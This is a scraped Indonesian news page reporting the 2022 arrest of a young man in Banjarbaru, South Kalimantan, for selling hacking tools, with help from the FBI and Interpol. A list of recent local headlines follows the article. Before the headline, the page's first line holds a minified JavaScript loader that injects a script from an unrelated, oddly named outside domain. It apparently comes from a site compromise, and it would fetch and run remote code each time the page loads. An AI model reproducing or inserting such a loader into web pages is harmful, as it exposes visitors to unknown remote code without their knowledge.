(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemuda Asal Kalsel Ditangkap FBI dan Interpol Gara-gara Jual Alat Peretas


KANALKALIMANTAN.COM, BANJARBARU – Seorang pemuda asal Kalimantan Selatan berinisial RNS (21) diringkus Bareskrim Mabes Polri lantaran memperjualkan alat peretas (hacking tools). Penangkapan pelaku bahkan sampai melibatkan pihak FBI dan Interpol di wilayah Banjarbaru.

“Tersangka ditangkap bekerja sama dengan FBI dan Interpol di wilayah Banjarbaru, Kalimantan Selatan,” kata Direktur Tindak Pidana Siber Bareskrim Polri, Brigjen Asep Edi Suheri kepada wartawan, Jumat (18/2/2022).

Dijelaskan Edi, alat peretasan yang dijual oleh pelaku digunakan untuk meretas akun-akun pengguna aplikasi startup kelas internasional. Bahkan, penjualan alat illegal ini telah mencangkup puluhan negara asing.

 

“Alat peretasan ini telah menyasar lebih dari 70 ribu akun yang tersebar di 43 negara,” bebernya.

Lebih rinci, diketahui tersangka menjual alat atau kode peretasan tersebut menggunakan situs yang transaksinya melalui bitcoin. Para korban dari kejahatan ini, tersebar di beberapa negara seperti Thailand, Hongkong, Jepang, Prancis, USA dan Inggris.

Baca juga: Banjarbaru Jadi Ibu Kota Kalsel, Intip Rencana Pembangunan Stadion Sepak Bola Berstandar FIFA

“Kerugian yang terjadi akibat kejahatan tersebut berkisar sebesar Rp31 miliar. Kepada pengguna payment online ataupun E-comerce agar lebih berhati-hati dalam penggunaan data pribadi,” ucap Edi.

Dalam penangkapan itu, penyidik menyita barang bukti berupa satu handphone merk iPhone 11 Pro, sebuah smartwatch, buku tabungan, tiga unit sepeda motor, satu mobil sedan merk BMW 320i AT, sebuah kartu tanda penduduk (KTP) Kalimantan Selatan, dan dua unit laptop.

Berkas kasus tersebut, kata Asep, saat ini sudah dinyatakan lengkap atau P21 oleh Jaksa Penuntut Umum (JPU). Dalam waktu dekat, penyidik bakal melimpahkan tersangka dan barang bukti ke Kejaksaan.

Baca juga : RUU Provinsi Disetujui, Banjarbaru Jadi Ibu Kota Kalimantan Selatan

RNS dijerat dengan Pasal 50 jo Pasal 34 ayat (1) Undang-Undang Nomor 19 tahun 2016 tentang Perubahan atas Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik (ITE) dan Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang, dengan ancaman hukuman maksimal 20 Tahun.

Edi mengatakan bahwa pihaknya tengah menjalin kerja sama dengan FBI untuk dapat melakukan penindakan dan pengungkapan kasus-kasus jaringan pelaku kejahatan siber internasional yang melibatkan beberapa negara. (kanalkalimantan.com/al/cnn)

Editor : kk


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

5 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

6 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

7 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.